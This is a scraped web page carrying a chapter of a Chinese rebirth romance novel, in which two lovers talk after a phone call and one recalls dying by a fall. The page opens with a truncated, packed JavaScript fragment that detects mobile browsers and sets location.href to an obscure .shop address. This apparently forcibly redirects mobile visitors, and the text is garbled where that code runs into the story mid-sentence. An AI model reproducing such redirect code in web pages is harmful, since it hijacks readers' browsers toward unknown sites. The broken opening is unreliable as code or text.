0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347072|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >绑在一起,从高楼坠下。 网上的人都说跳楼是最痛苦的。 恐惧被无限扩大,死前走马灯也无尽漫长,摔得粉身碎骨后还残存意识,感受着自己身体的扭曲变形,以及身下血液的慢慢扩大,就像被搁置在诡异的祭祀阵里那般凄惨。 但现在呢。 他已经能判定迟延宁和这事儿脱不了干系。 他要怎么做。 一起死吗? 他好不容易恢复记忆,拥有渴望的那条小鱼,他真的,还舍得死吗。 还是放任不管,直接逃离? 如果那样,上辈子的于南,是不是就成了无所谓、没人在乎的献祭品。 此时此刻,他会不会,正在某个世界里游荡,成为所有人都看不见的鬼魂,可怜又无助。 这种时候,他会不会后悔,后悔选择去找迟雾、靠近迟雾。 迟雾盯着屏幕走神。 好半晌。 他才抬起手指,点开信息框。 但就在他刚准备敲出行字时,手机“嗡”响一声,来了通电话。 迟雾缓了下快速跳动的心脏,才接通电话。 “迟雾?”温琳说话时依旧习惯性高挑着调调,用起来怪不正经的,“今晚出去遛遛?顾宁一也在,说不定他还能教教你数学题,让你来波勤能补拙的实操。” 这道声音冷不丁处在现在耳边,几乎让迟雾恍惚了阵儿。 迟雾拿着手机起身,走到窗边,远离了卫生间,才回复那头:“没时间。” 温琳怪可惜地“唉”了一声,又说:“你刚打了温程安,现在又这么毫不犹豫地拒绝我,迟雾,你真无情啊。” 迟雾听着那头的话,脸上没什么表情,他现在处于一种被剥离的状态。 记忆将他从迟家迟雾这个身份中剥离出去,而通过这个身份产生的全部关系也与他没有了半分瓜葛。 那根本不属于他。 而温琳在这场角色扮演的游戏中又充当了什么角色。 迟雾不知道。 但总归。 都和他没关系了。 迟雾问了句:“温程安怎么样了。” 温琳像是没想到他会问这个,卡顿了两秒,才说:“还在病房里,怎么?” 这时候,卫生间的门被推开。 大片水雾里,于南走了出来。 于南身上穿着浴袍,围得很紧,但锁骨处还是有些红痕露在外面。 他看了迟雾一眼,意识到他在打电话后就没靠近,而是从床上捞起自己的衣物换上,又从口袋里找出烟盒,点了一根,细慢地吸着。 于南吸烟时眯着眼睛,透过烟雾看向迟雾。 迟雾和温琳草草说了两句,简单了解了下温程安的情况,就挂断了电话,把手机收起来,凑到于南身边去。 于南身上的沐浴露味很重,再混合着烟草味,是一种很奇怪的味道,让人闻了之后快速上瘾,下意识地想去找源头。 迟雾在于南的嘴角啄了下,说:“好香。” 于南却盯着他,问:“刚才你说的结束,是什么结束。” “结束?”迟雾重复了下,才想起来,是他脱口而出的那句“等一切都结束”。 于南好像只是随口一问,直接走开去找烟灰缸,把那吸了两口的烟给掐了。 迟雾刚开始动作很慢,但总有欲望掌控大脑的时候,速度也越来越快,现在他后面泛着细丝丝的疼,应该是磨坏了。 迟雾看着他背影,想了会儿,才说:“于南,你记得我说的那个另一层记忆吗。” 于南扭头看他,“记得。” 迟雾说:“如果我说,这些都是上辈子发生的事,我是死了之后才重新来过,你信吗。” 于南盯他两秒,判断了下这话的可信度。 很低。 就像是精神病患者扯出来的东西。 但他看着迟雾的眼睛,就那样不躲不避得看着他,里头还藏着分不易察觉的紧张。 他怕他不信。 于南说:“我信。”